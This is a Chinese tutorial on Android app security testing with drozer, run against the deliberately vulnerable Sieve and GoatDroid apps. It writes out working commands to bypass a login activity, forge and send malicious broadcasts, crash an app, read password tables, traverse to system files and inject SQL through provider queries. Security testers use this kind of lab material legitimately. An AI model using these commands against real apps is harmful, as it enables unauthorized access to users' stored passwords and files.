赞
踩
在drozer console中直接使用help查看;然后进一步使用help command可查看各命令更具体的使用方法。
通过输入安装包的部分关键字查找包全称 run app.package.list -f 安装包部分关键字
run app.package.list -f demo
使用app.package.info模块查看apk基本信息
run app.package.info -a com.example.demo
四大组件
Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等。
Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等。
Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码。
Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等。
使用app.package.attacksurface模块识别攻击面
run app.package.attacksurface com.example.demo
所谓攻击面,应该就是指可export的安卓四大组件(activaty、broadcast receiver、content provider、service),如果查看到四大组件中有可export的,就去具体看可export的组件有没有问题。
查看activity组件信息
run app.activity.info -a com.example.demo
调用暴露的activity组件
run app.activity.start --component package_name Activity_name
一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。
run app.activity.start --component com.example.demo com.example.demo.MortgageActivity
Activity劫持
如果apk未对界面劫持进行反劫持检测,那么用户就会受到劫持欺骗攻击。如果一个恶意应用在用户启动银行app时,启动自身界面,模拟成银行的登录界面,那么在用户没有察觉的情况下,可以直接偷走用户输入的账号密码。
下面使用一个测试apk对目标应用进行界面覆盖,观察目标应用是否告警提示。
Activity越权
测试APP下载地址
https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
这是一个管理密码的APP,运行时需要输入密码(com.mwr.example.sieve.MainLoginActivity),验证成功才能查看管理的密码内容(com.mwr.example.sieve.PWList)。
先查看对外暴露的 activity 组件信息
直接调用查看密码的Activity,成功绕过登录验证功能。
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
查看Broadcast组件信息
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
测试APP下载地址:
https://github.com/nvisium-jack-mannino/OWASP-GoatDroid-Project/downloads
反编译,查看源码,发现需要两个参数 phoneNumber、message
发送恶意广播
run app.broadcast.send --action 广播名 --extra string name lisi
反编译apk,查看AndroidManifest.xml 文件,获取广播名
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog
拒绝服务攻击
向广播组件发送不完整intent,使用空 extras,可以看到应用停止运行。
run app.broadcast.send --action <action>
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
查看content provider组件信息
run app.provider.info -a com.mwr.example.sieve
可以看出, 对DBContentProvider 内容提供器的访问,除了/Keys 路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么我们就可以从中获取敏感数据。
(4)service组件测试
查看service组件信息
run app.service.info -a com.mwr.example.sieve
调用服务组件
run app.service.start --action 服务名 --component 包名 服务名
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
获取内容提供器的 URIS 资源访问路径
run scanner.provider.finduris -a <包名>
run scanner.provider.finduris -a com.mwr.example.sieve
敏感数据读取
run app.provider.query uri
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
检测文件遍历漏洞
run scanner.provider.traversal -a <包名>
读取系统文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
下载系统文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db
扫描注入位置
run scanner.provider.injection -a <包名>
手工注入
执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"
当组件为私有组件时,建议设置android:exported的值为 false;当组件为公有组件时,建议对其进行权限控制。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。